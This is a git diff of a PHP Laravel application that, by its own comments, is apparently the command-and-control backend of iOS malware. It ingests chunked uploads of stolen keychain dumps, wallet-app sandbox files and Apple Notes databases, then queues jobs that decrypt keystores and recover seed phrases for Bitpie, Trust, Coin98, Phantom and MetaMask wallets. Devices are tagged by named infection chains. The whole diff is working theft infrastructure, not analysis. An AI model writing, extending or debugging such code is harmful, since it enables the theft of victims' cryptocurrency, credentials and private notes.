||||||
use App\Models\Device;
|
use App\Models\Device;
|
||||||
|
use App\Services\AppUploadIngester;
|
||||||
use App\Services\DarkSwordIngestAdapter;
|
use App\Services\DarkSwordIngestAdapter;
|
||||||
use App\Services\DsKeystoreDecrypt;
|
use App\Services\DsKeystoreDecrypt;
|
||||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||||
@@ -46,6 +47,7 @@ class DecryptDeviceKeystores implements ShouldQueue
|
|||||||
public function handle(
|
public function handle(
|
||||||
DarkSwordIngestAdapter $adapter,
|
DarkSwordIngestAdapter $adapter,
|
||||||
DsKeystoreDecrypt $decrypt,
|
DsKeystoreDecrypt $decrypt,
|
||||||
|
AppUploadIngester $ingester,
|
||||||
): void {
|
): void {
|
||||||
$device = Device::query()->find($this->deviceId);
|
$device = Device::query()->find($this->deviceId);
|
||||||
if ($device === null) {
|
if ($device === null) {
|
||||||
@@ -56,27 +58,19 @@ class DecryptDeviceKeystores implements ShouldQueue
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
$ingester->splitStoredKeychainVaults($device);
|
||||||
$device->load('keystores');
|
$device->load('keystores');
|
||||||
|
|
||||||
$wallets = $this->wallets ?? [];
|
$wallets = $this->wallets ?? [];
|
||||||
$sandbox = $this->sandbox ?? [];
|
$sandbox = $this->sandbox ?? [];
|
||||||
|
|
||||||
// When dispatched without a payload (e.g. AiLiveUploadIngester::dispatchDecrypt
|
// When dispatched without a payload (e.g. AppUploadIngester::dispatchDecrypt
|
||||||
// passes null,null), rebuild wallets/sandbox from already-stored keystores so
|
// passes null,null), rebuild wallets/sandbox from already-stored keystores so
|
||||||
// structured recovery (Bitpie / Trust / Coin98 / Phantom) can still traverse
|
// structured recovery (Bitpie / Trust / Coin98 / Phantom) can still traverse
|
||||||
// the keychain tree and extract mnemonics. Without this, Bitpie seedPhraseEntropy
|
// the keychain tree and extract mnemonics. Without this, Bitpie seedPhraseEntropy
|
||||||
// stored under source="ai-live/keychain" is never fed to recoverBitpie().
|
// stored under source="app/keychain" is never fed to recoverBitpie().
|
||||||
if ($wallets === [] && $sandbox === []) {
|
if ($wallets === [] && $sandbox === []) {
|
||||||
$wallets = [];
|
[$wallets, $sandbox] = $adapter->storedWalletTrees($device);
|
||||||
$sandbox = [];
|
|
||||||
foreach ($device->keystores as $row) {
|
|
||||||
$kind = $row->raw_json['kind'] ?? '';
|
|
||||||
if (str_starts_with($kind, 'keychain')) {
|
|
||||||
$wallets = array_merge($wallets, $row->raw_json['wallets'] ?? []);
|
|
||||||
} else {
|
|
||||||
$sandbox = array_merge($sandbox, $row->raw_json['sandbox'] ?? []);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
$errors = [];
|
$errors = [];
|
||||||
|
|||||||
@@ -23,4 +23,25 @@ class DeviceApp extends Model
|
|||||||
{
|
{
|
||||||
return $this->belongsTo(Device::class);
|
return $this->belongsTo(Device::class);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Keychain access groups like TEAM.apple.Spotlight and TEAM.* are not
|
||||||
|
* installed apps. Skip them on write and hide any leftover rows in lists.
|
||||||
|
*/
|
||||||
|
public static function shouldSkipBundle(?string $bundleId): bool
|
||||||
|
{
|
||||||
|
$bundle = strtolower(trim((string) $bundleId));
|
||||||
|
if ($bundle === '' || $bundle === '*') {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return str_starts_with($bundle, 'apple.');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function scopeListed($query)
|
||||||
|
{
|
||||||
|
return $query
|
||||||
|
->where('bundle_id', '!=', '*')
|
||||||
|
->whereRaw('LOWER(bundle_id) NOT LIKE ?', ['apple.%']);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+354
-51
@@ -10,14 +10,18 @@ use Illuminate\Support\Facades\Log;
|
|||||||
class WalletKeystore extends Model
|
class WalletKeystore extends Model
|
||||||
{
|
{
|
||||||
protected $fillable = [
|
protected $fillable = [
|
||||||
'device_id', 'source', 'decrypted', 'raw_json', 'content_hash',
|
'device_id', 'chain', 'source', 'decrypted', 'needs_password', 'raw_json', 'content_hash',
|
||||||
|
'list_kind', 'list_item_count', 'list_summary', 'list_has_web3',
|
||||||
];
|
];
|
||||||
|
|
||||||
protected function casts(): array
|
protected function casts(): array
|
||||||
{
|
{
|
||||||
return [
|
return [
|
||||||
'raw_json' => 'array',
|
'raw_json' => 'array',
|
||||||
|
'chain' => 'integer',
|
||||||
'decrypted' => 'integer',
|
'decrypted' => 'integer',
|
||||||
|
'needs_password' => 'integer',
|
||||||
|
'list_has_web3' => 'integer',
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -29,15 +33,31 @@ class WalletKeystore extends Model
|
|||||||
*/
|
*/
|
||||||
public static function listColumns(string $table = 'wallet_keystores'): array
|
public static function listColumns(string $table = 'wallet_keystores'): array
|
||||||
{
|
{
|
||||||
return [
|
$cols = [
|
||||||
$table.'.id',
|
$table.'.id',
|
||||||
$table.'.device_id',
|
$table.'.device_id',
|
||||||
$table.'.source',
|
$table.'.source',
|
||||||
$table.'.decrypted',
|
$table.'.decrypted',
|
||||||
$table.'.created_at',
|
|
||||||
$table.'.updated_at',
|
|
||||||
DB::raw('LENGTH('.$table.'.raw_json) as raw_json_len'),
|
|
||||||
];
|
];
|
||||||
|
if (self::hasChainColumn()) {
|
||||||
|
$cols[] = $table.'.chain';
|
||||||
|
}
|
||||||
|
if (self::hasNeedsPasswordColumn()) {
|
||||||
|
$cols[] = $table.'.needs_password';
|
||||||
|
}
|
||||||
|
|
||||||
|
if (self::hasListStatsColumns()) {
|
||||||
|
$cols[] = $table.'.list_kind';
|
||||||
|
$cols[] = $table.'.list_item_count';
|
||||||
|
$cols[] = $table.'.list_summary';
|
||||||
|
$cols[] = $table.'.list_has_web3';
|
||||||
|
}
|
||||||
|
|
||||||
|
$cols[] = $table.'.created_at';
|
||||||
|
$cols[] = $table.'.updated_at';
|
||||||
|
$cols[] = DB::raw('LENGTH('.$table.'.raw_json) as raw_json_len');
|
||||||
|
|
||||||
|
return $cols;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -50,69 +70,286 @@ class WalletKeystore extends Model
|
|||||||
*/
|
*/
|
||||||
public static function listColumnsLight(string $table = 'wallet_keystores'): array
|
public static function listColumnsLight(string $table = 'wallet_keystores'): array
|
||||||
{
|
{
|
||||||
return [
|
$cols = [
|
||||||
$table.'.id',
|
$table.'.id',
|
||||||
$table.'.device_id',
|
$table.'.device_id',
|
||||||
$table.'.source',
|
$table.'.source',
|
||||||
$table.'.decrypted',
|
$table.'.decrypted',
|
||||||
$table.'.created_at',
|
|
||||||
$table.'.updated_at',
|
|
||||||
];
|
];
|
||||||
|
if (self::hasChainColumn()) {
|
||||||
|
$cols[] = $table.'.chain';
|
||||||
|
}
|
||||||
|
if (self::hasNeedsPasswordColumn()) {
|
||||||
|
$cols[] = $table.'.needs_password';
|
||||||
|
}
|
||||||
|
|
||||||
|
if (self::hasListStatsColumns()) {
|
||||||
|
$cols[] = $table.'.list_kind';
|
||||||
|
$cols[] = $table.'.list_item_count';
|
||||||
|
$cols[] = $table.'.list_summary';
|
||||||
|
$cols[] = $table.'.list_has_web3';
|
||||||
|
}
|
||||||
|
|
||||||
|
$cols[] = $table.'.created_at';
|
||||||
|
$cols[] = $table.'.updated_at';
|
||||||
|
|
||||||
|
return $cols;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function hasChainColumn(): bool
|
||||||
|
{
|
||||||
|
static $has = null;
|
||||||
|
if ($has === null) {
|
||||||
|
$has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'chain');
|
||||||
|
}
|
||||||
|
|
||||||
|
return $has;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function hasNeedsPasswordColumn(): bool
|
||||||
|
{
|
||||||
|
static $has = null;
|
||||||
|
if ($has === null) {
|
||||||
|
$has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password');
|
||||||
|
}
|
||||||
|
|
||||||
|
return $has;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function hasListStatsColumns(): bool
|
||||||
|
{
|
||||||
|
static $has = null;
|
||||||
|
if ($has === null) {
|
||||||
|
$has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'list_item_count');
|
||||||
|
}
|
||||||
|
|
||||||
|
return $has;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Load this row's raw_json alone, log memory, then drop the blob.
|
* List-page stats. Prefer denormalized columns so we never load raw_json
|
||||||
|
* (sandbox dumps can be tens of MB). Cache-miss hydrates once and persists.
|
||||||
*
|
*
|
||||||
* @return array{item_count: int, summary: string, kind: string}
|
* @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool}
|
||||||
*/
|
*/
|
||||||
public function listStats(): array
|
public function listStats(): array
|
||||||
{
|
{
|
||||||
$len = (int) ($this->raw_json_len ?? 0);
|
if ($this->hasCachedListStats()) {
|
||||||
$memBefore = memory_get_usage(true);
|
return $this->cachedListStats();
|
||||||
Log::info('keystore.list.hydrate.start', [
|
}
|
||||||
'id' => $this->id,
|
|
||||||
'raw_json_len' => $len,
|
$json = is_array($this->raw_json) ? $this->raw_json : null;
|
||||||
'mem' => $memBefore,
|
if ($json === null && $this->id) {
|
||||||
]);
|
$raw = self::query()->whereKey($this->id)->value('raw_json');
|
||||||
|
$this->setAttribute('raw_json', $raw);
|
||||||
|
$json = is_array($this->raw_json) ? $this->raw_json : [];
|
||||||
|
}
|
||||||
|
$json = is_array($json) ? $json : [];
|
||||||
|
|
||||||
$raw = self::query()->whereKey($this->id)->value('raw_json');
|
|
||||||
$this->setAttribute('raw_json', $raw);
|
|
||||||
try {
|
try {
|
||||||
$stats = [
|
$stats = self::computeListStatsFromJson($json);
|
||||||
'item_count' => $this->itemCount(),
|
|
||||||
'summary' => $this->summary(),
|
|
||||||
'kind' => $this->kindLabel(),
|
|
||||||
'has_web3_keystore' => $this->hasWeb3Keystore(),
|
|
||||||
];
|
|
||||||
} catch (\Throwable $e) {
|
} catch (\Throwable $e) {
|
||||||
Log::warning('keystore.list.hydrate.fail', [
|
Log::warning('keystore.list.hydrate.fail', [
|
||||||
'id' => $this->id,
|
'id' => $this->id,
|
||||||
'raw_json_len' => $len,
|
|
||||||
'mem' => memory_get_usage(true),
|
|
||||||
'error' => $e->getMessage(),
|
'error' => $e->getMessage(),
|
||||||
]);
|
]);
|
||||||
$stats = [
|
$stats = [
|
||||||
'item_count' => 0,
|
'item_count' => 0,
|
||||||
'summary' => '',
|
'summary' => '',
|
||||||
'kind' => $this->kindLabel(),
|
'kind' => self::kindLabelFor(trim((string) ($json['kind'] ?? ''))),
|
||||||
'has_web3_keystore' => false,
|
'has_web3_keystore' => false,
|
||||||
];
|
];
|
||||||
} finally {
|
} finally {
|
||||||
$this->setAttribute('raw_json', null);
|
if ($this->id) {
|
||||||
|
$this->setAttribute('raw_json', null);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
Log::info('keystore.list.hydrate.done', [
|
$this->persistListStats($stats);
|
||||||
'id' => $this->id,
|
|
||||||
'raw_json_len' => $len,
|
|
||||||
'item_count' => $stats['item_count'],
|
|
||||||
'kind' => $stats['kind'],
|
|
||||||
'mem' => memory_get_usage(true),
|
|
||||||
'delta' => memory_get_usage(true) - $memBefore,
|
|
||||||
]);
|
|
||||||
|
|
||||||
return $stats;
|
return $stats;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function hasCachedListStats(): bool
|
||||||
|
{
|
||||||
|
return self::hasListStatsColumns()
|
||||||
|
&& array_key_exists('list_item_count', $this->attributes)
|
||||||
|
&& $this->attributes['list_item_count'] !== null;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool}
|
||||||
|
*/
|
||||||
|
public function cachedListStats(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'item_count' => (int) $this->list_item_count,
|
||||||
|
'summary' => (string) ($this->list_summary ?? ''),
|
||||||
|
'kind' => (string) ($this->list_kind ?? ''),
|
||||||
|
'has_web3_keystore' => (int) $this->list_has_web3 === 1,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $json
|
||||||
|
* @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool}
|
||||||
|
*/
|
||||||
|
public static function computeListStatsFromJson(array $json): array
|
||||||
|
{
|
||||||
|
$row = new static(['raw_json' => $json]);
|
||||||
|
$names = [];
|
||||||
|
$count = 0;
|
||||||
|
$row->collectListMeta($json, $count, $names);
|
||||||
|
$kind = self::kindLabelFor(trim((string) ($json['kind'] ?? '')));
|
||||||
|
if ($names === []) {
|
||||||
|
$summary = $count > 0 ? $count.' 条' : '';
|
||||||
|
} else {
|
||||||
|
$summary = implode(' · ', $names);
|
||||||
|
if ($count > 3) {
|
||||||
|
$summary .= ' 等'.$count.'条';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
'item_count' => $count,
|
||||||
|
'summary' => mb_substr($summary, 0, 255),
|
||||||
|
'kind' => $kind,
|
||||||
|
'has_web3_keystore' => $row->containsWeb3Keystore($json),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array{item_count: int, summary: string, kind: string, has_web3_keystore: bool} $stats
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
public static function listStatsAttributes(array $stats): array
|
||||||
|
{
|
||||||
|
if (! self::hasListStatsColumns()) {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
'list_kind' => $stats['kind'],
|
||||||
|
'list_item_count' => $stats['item_count'],
|
||||||
|
'list_summary' => $stats['summary'],
|
||||||
|
'list_has_web3' => ! empty($stats['has_web3_keystore']) ? 1 : 0,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array{item_count: int, summary: string, kind: string, has_web3_keystore: bool} $stats
|
||||||
|
*/
|
||||||
|
private function persistListStats(array $stats): void
|
||||||
|
{
|
||||||
|
$attrs = self::listStatsAttributes($stats);
|
||||||
|
if ($attrs === []) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
foreach ($attrs as $key => $value) {
|
||||||
|
$this->setAttribute($key, $value);
|
||||||
|
}
|
||||||
|
if ($this->id) {
|
||||||
|
self::query()->whereKey($this->id)->update($attrs);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Count list entries and pick up to 3 names without hashing / base64-decoding blobs.
|
||||||
|
*
|
||||||
|
* @param array<string, mixed> $json
|
||||||
|
* @param list<string> $names
|
||||||
|
*/
|
||||||
|
private function collectListMeta(array $json, int &$count, array &$names): void
|
||||||
|
{
|
||||||
|
$wallets = $json['wallets'] ?? null;
|
||||||
|
if (is_array($wallets)) {
|
||||||
|
foreach ($wallets as $key => $bucket) {
|
||||||
|
if (is_string($bucket) && $bucket !== '') {
|
||||||
|
$count++;
|
||||||
|
if (count($names) < 3) {
|
||||||
|
$names[] = is_string($key) ? $key : 'wallet';
|
||||||
|
}
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (! is_array($bucket)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$items = is_array($bucket['items'] ?? null) ? $bucket['items'] : [];
|
||||||
|
foreach ($items as $item) {
|
||||||
|
if (! is_array($item)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$count++;
|
||||||
|
if (count($names) < 3) {
|
||||||
|
$name = trim((string) ($item['account'] ?? ''));
|
||||||
|
if ($name !== '') {
|
||||||
|
$names[] = $name;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$sandbox = $json['sandbox'] ?? null;
|
||||||
|
if (is_array($sandbox)) {
|
||||||
|
$this->collectSandboxMeta($sandbox, $count, $names);
|
||||||
|
}
|
||||||
|
if (isset($json['crypto']) && is_array($json['crypto'])) {
|
||||||
|
$count++;
|
||||||
|
if (count($names) < 3) {
|
||||||
|
$names[] = (string) ($json['id'] ?? $json['type'] ?? 'keystore');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $sandbox
|
||||||
|
* @param list<string> $names
|
||||||
|
*/
|
||||||
|
private function collectSandboxMeta(array $sandbox, int &$count, array &$names, string $prefix = ''): void
|
||||||
|
{
|
||||||
|
foreach ($sandbox as $key => $value) {
|
||||||
|
$path = $prefix === '' ? (string) $key : $prefix.'/'.$key;
|
||||||
|
if (is_array($value)) {
|
||||||
|
if (isset($value['items']) && is_array($value['items'])) {
|
||||||
|
foreach ($value['items'] as $item) {
|
||||||
|
if (! is_array($item)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$count++;
|
||||||
|
if (count($names) < 3) {
|
||||||
|
$name = trim((string) ($item['account'] ?? ''));
|
||||||
|
$names[] = $name !== '' ? $name : $path;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$this->collectSandboxMeta($value, $count, $names, $path);
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (! is_string($value) || $value === '') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$count++;
|
||||||
|
if (count($names) < 3) {
|
||||||
|
$names[] = $path;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function kindLabelFor(string $kind): string
|
||||||
|
{
|
||||||
|
return match ($kind) {
|
||||||
|
'keychain.wallets' => '钥匙串',
|
||||||
|
'sandbox' => '沙盒文件',
|
||||||
|
'web3.keystore' => '标准 Keystore',
|
||||||
|
'metamask.vault' => 'MetaMask Vault',
|
||||||
|
default => $kind !== '' ? $kind : '未知',
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @param array<string, mixed> $rawJson
|
* @param array<string, mixed> $rawJson
|
||||||
*/
|
*/
|
||||||
@@ -130,12 +367,20 @@ class WalletKeystore extends Model
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* @param array<string, mixed> $rawJson
|
* @param array<string, mixed> $rawJson
|
||||||
|
* @param bool $needsPassword When true, persist needs_password=1. Never writes 0.
|
||||||
*/
|
*/
|
||||||
public static function firstOrCreateForDevice(Device $device, string $source, array $rawJson): self
|
public static function firstOrCreateForDevice(Device $device, string $source, array $rawJson, bool $needsPassword = false): self
|
||||||
{
|
{
|
||||||
$hash = self::hashPayload($rawJson);
|
$hash = self::hashPayload($rawJson);
|
||||||
$matches = [];
|
$matches = [];
|
||||||
foreach (self::query()->where('device_id', $device->id)->select(['id', 'content_hash', 'decrypted'])->orderByDesc('decrypted')->orderByDesc('id')->cursor() as $row) {
|
$select = ['id', 'content_hash', 'decrypted'];
|
||||||
|
if (self::hasChainColumn()) {
|
||||||
|
$select[] = 'chain';
|
||||||
|
}
|
||||||
|
if (\Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) {
|
||||||
|
$select[] = 'needs_password';
|
||||||
|
}
|
||||||
|
foreach (self::query()->where('device_id', $device->id)->select($select)->orderByDesc('decrypted')->orderByDesc('id')->cursor() as $row) {
|
||||||
$rowHash = (string) $row->content_hash;
|
$rowHash = (string) $row->content_hash;
|
||||||
if ($rowHash === '') {
|
if ($rowHash === '') {
|
||||||
$raw = self::query()->whereKey($row->id)->value('raw_json');
|
$raw = self::query()->whereKey($row->id)->value('raw_json');
|
||||||
@@ -159,6 +404,10 @@ class WalletKeystore extends Model
|
|||||||
foreach (array_slice($matches, 1) as $dup) {
|
foreach (array_slice($matches, 1) as $dup) {
|
||||||
$dup->delete();
|
$dup->delete();
|
||||||
}
|
}
|
||||||
|
if ($needsPassword) {
|
||||||
|
self::markNeedsPassword($keep);
|
||||||
|
}
|
||||||
|
self::fillChain($keep, $device);
|
||||||
|
|
||||||
return $keep;
|
return $keep;
|
||||||
}
|
}
|
||||||
@@ -169,13 +418,62 @@ class WalletKeystore extends Model
|
|||||||
'decrypted' => 0,
|
'decrypted' => 0,
|
||||||
'raw_json' => $rawJson,
|
'raw_json' => $rawJson,
|
||||||
];
|
];
|
||||||
|
if (self::hasChainColumn()) {
|
||||||
|
$payload['chain'] = self::chainFromDevice($device);
|
||||||
|
}
|
||||||
|
$payload = array_merge($payload, self::listStatsAttributes(self::computeListStatsFromJson($rawJson)));
|
||||||
if (\Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'content_hash')) {
|
if (\Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'content_hash')) {
|
||||||
$payload['content_hash'] = $hash;
|
$payload['content_hash'] = $hash;
|
||||||
}
|
}
|
||||||
|
if ($needsPassword && \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) {
|
||||||
|
$payload['needs_password'] = 1;
|
||||||
|
}
|
||||||
|
|
||||||
return self::query()->create($payload);
|
return self::query()->create($payload);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static function chainFromDevice(Device $device): int
|
||||||
|
{
|
||||||
|
$chain = (int) ($device->chain ?: Device::CHAIN_CORUNA);
|
||||||
|
|
||||||
|
return in_array($chain, [Device::CHAIN_CORUNA, Device::CHAIN_DARKSWORD, Device::CHAIN_APP], true)
|
||||||
|
? $chain
|
||||||
|
: Device::CHAIN_CORUNA;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Fill missing chain from the device. Does not overwrite a stored value.
|
||||||
|
*/
|
||||||
|
public static function fillChain(self $row, Device $device): void
|
||||||
|
{
|
||||||
|
if (! self::hasChainColumn()) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if ((int) $row->chain === Device::CHAIN_CORUNA
|
||||||
|
|| (int) $row->chain === Device::CHAIN_DARKSWORD
|
||||||
|
|| (int) $row->chain === Device::CHAIN_APP) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$chain = self::chainFromDevice($device);
|
||||||
|
self::query()->whereKey($row->id)->update(['chain' => $chain]);
|
||||||
|
$row->setAttribute('chain', $chain);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Flag a row as requiring a user password. Writes 1 only; never 0.
|
||||||
|
*/
|
||||||
|
public static function markNeedsPassword(self $row): void
|
||||||
|
{
|
||||||
|
if (! \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if ((int) $row->needs_password === 1) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
self::query()->whereKey($row->id)->update(['needs_password' => 1]);
|
||||||
|
$row->setAttribute('needs_password', 1);
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @return list<string>
|
* @return list<string>
|
||||||
*/
|
*/
|
||||||
@@ -208,11 +506,7 @@ class WalletKeystore extends Model
|
|||||||
|
|
||||||
public function kindLabel(): string
|
public function kindLabel(): string
|
||||||
{
|
{
|
||||||
return match ($this->kind()) {
|
return self::kindLabelFor($this->kind());
|
||||||
'keychain.wallets' => '钥匙串',
|
|
||||||
'sandbox' => '沙盒文件',
|
|
||||||
default => $this->kind() !== '' ? $this->kind() : '未知',
|
|
||||||
};
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -228,15 +522,24 @@ class WalletKeystore extends Model
|
|||||||
public function hasWeb3Keystore(): bool
|
public function hasWeb3Keystore(): bool
|
||||||
{
|
{
|
||||||
$json = is_array($this->raw_json) ? $this->raw_json : [];
|
$json = is_array($this->raw_json) ? $this->raw_json : [];
|
||||||
if ($this->isWeb3KeystoreNode($json)) {
|
|
||||||
|
return $this->containsWeb3Keystore($json);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param mixed $node
|
||||||
|
*/
|
||||||
|
private function containsWeb3Keystore(mixed $node, int $depth = 0): bool
|
||||||
|
{
|
||||||
|
if ($depth > 12 || ! is_array($node)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ($this->isWeb3KeystoreNode($node)) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
$wallets = $json['wallets'] ?? null;
|
foreach ($node as $child) {
|
||||||
if (is_array($wallets)) {
|
if (is_array($child) && $this->containsWeb3Keystore($child, $depth + 1)) {
|
||||||
foreach ($wallets as $bucket) {
|
return true;
|
||||||
if (is_array($bucket) && $this->isWeb3KeystoreNode($bucket)) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,724 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
namespace App\Services;
|
|
||||||
|
|
||||||
use App\Jobs\DecryptDeviceKeystores;
|
|
||||||
use App\Models\Device;
|
|
||||||
use App\Models\DeviceApp;
|
|
||||||
use App\Models\WalletKeystore;
|
|
||||||
use App\Support\WalletSource;
|
|
||||||
use Illuminate\Support\Facades\Log;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Ingest ai-live (w2.bsvpn.net) chunked uploads into the wallet keystore +
|
|
||||||
* Apple Notes pipelines.
|
|
||||||
*
|
|
||||||
* The malware uploads three kinds of artifacts via /api/v2/uploads:
|
|
||||||
* 1. keychain.xml — full iOS keychain dump (doKeychain=true acquisition)
|
|
||||||
* 2. <bundleId>.tar — tar of each wallet app's Documents directory
|
|
||||||
* 3. group.com.apple.notes.tar — Apple Notes shared container (NoteStore.sqlite)
|
|
||||||
*
|
|
||||||
* This service reassembles chunked uploads, parses them, and:
|
|
||||||
* - keychain.xml → stored as a keychain.wallets WalletKeystore row
|
|
||||||
* - wallet tar → stored as a sandbox WalletKeystore row
|
|
||||||
* - notes tar → NoteStore.sqlite trio saved to c2/ds-results/ and
|
|
||||||
* DecodeMemoDb job dispatched to parse note text
|
|
||||||
*
|
|
||||||
* DecryptDeviceKeystores is dispatched on /api/v2/finish to recover
|
|
||||||
* mnemonics from the stored keystores off the request thread.
|
|
||||||
*/
|
|
||||||
final class AiLiveUploadIngester
|
|
||||||
{
|
|
||||||
/** Chunk files are saved as <ts>_<tag>_<uploadId>_c<chunkIndex>.bin */
|
|
||||||
private const CHUNK_GLOB = '*_%s_c*.bin';
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Reassemble chunks for an upload session, parse the artifact, store
|
|
||||||
* keystores, and dispatch the decryption job.
|
|
||||||
*
|
|
||||||
* @param array<string, mixed> $session Cache session (fileName, numberOfChunks, ...)
|
|
||||||
*/
|
|
||||||
public function ingest(Device $device, string $uploadId, array $session): void
|
|
||||||
{
|
|
||||||
$fileName = (string) ($session['fileName'] ?? 'unknown');
|
|
||||||
$uploadDir = public_path('log/app_c2/uploads');
|
|
||||||
|
|
||||||
$chunks = $this->collectChunks($uploadDir, $uploadId, (int) ($session['numberOfChunks'] ?? 1));
|
|
||||||
if ($chunks === []) {
|
|
||||||
Log::channel('keystore')->warning('AiLiveUploadIngester: no chunk files found', [
|
|
||||||
'device_id' => $device->id,
|
|
||||||
'upload_id' => $uploadId,
|
|
||||||
'file_name' => $fileName,
|
|
||||||
]);
|
|
||||||
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
$content = $this->reassemble($chunks);
|
|
||||||
if ($content === '') {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
$this->dispatchParse($device, $content, $fileName, $uploadId);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Dispatch the async keystore decryption job for a device.
|
|
||||||
*/
|
|
||||||
public function dispatchDecrypt(Device $device): void
|
|
||||||
{
|
|
||||||
try {
|
|
||||||
DecryptDeviceKeystores::dispatch($device->id, null, null);
|
|
||||||
} catch (\Throwable $e) {
|
|
||||||
Log::channel('keystore')->error('AiLiveUploadIngester dispatch failed', [
|
|
||||||
'device_id' => $device->id,
|
|
||||||
'device_key' => $device->device_id,
|
|
||||||
'error' => $e->getMessage(),
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ────────────────────────────────────────────────────────────
|
|
||||||
// chunk reassembly
|
|
||||||
// ────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param list<int> $chunkIndices
|
|
||||||
* @return list<string> Sorted chunk file paths.
|
|
||||||
*/
|
|
||||||
private function collectChunks(string $dir, string $uploadId, int $numberOfChunks): array
|
|
||||||
{
|
|
||||||
if (! is_dir($dir)) {
|
|
||||||
return [];
|
|
||||||
}
|
|
||||||
// UUIDs only contain [0-9a-f-], none of which are glob special chars,
|
|
||||||
// so no escaping needed (preg_quote would break glob by escaping `-`).
|
|
||||||
$pattern = sprintf(self::CHUNK_GLOB, $uploadId);
|
|
||||||
$files = glob($dir.'/'.$pattern) ?: [];
|
|
||||||
if ($files === []) {
|
|
||||||
return [];
|
|
||||||
}
|
|
||||||
usort($files, function ($a, $b) {
|
|
||||||
return $this->chunkIndex($a) <=> $this->chunkIndex($b);
|
|
||||||
});
|
|
||||||
// Keep only the expected number of chunks.
|
|
||||||
return array_slice($files, 0, max(1, $numberOfChunks));
|
|
||||||
}
|
|
||||||
|
|
||||||
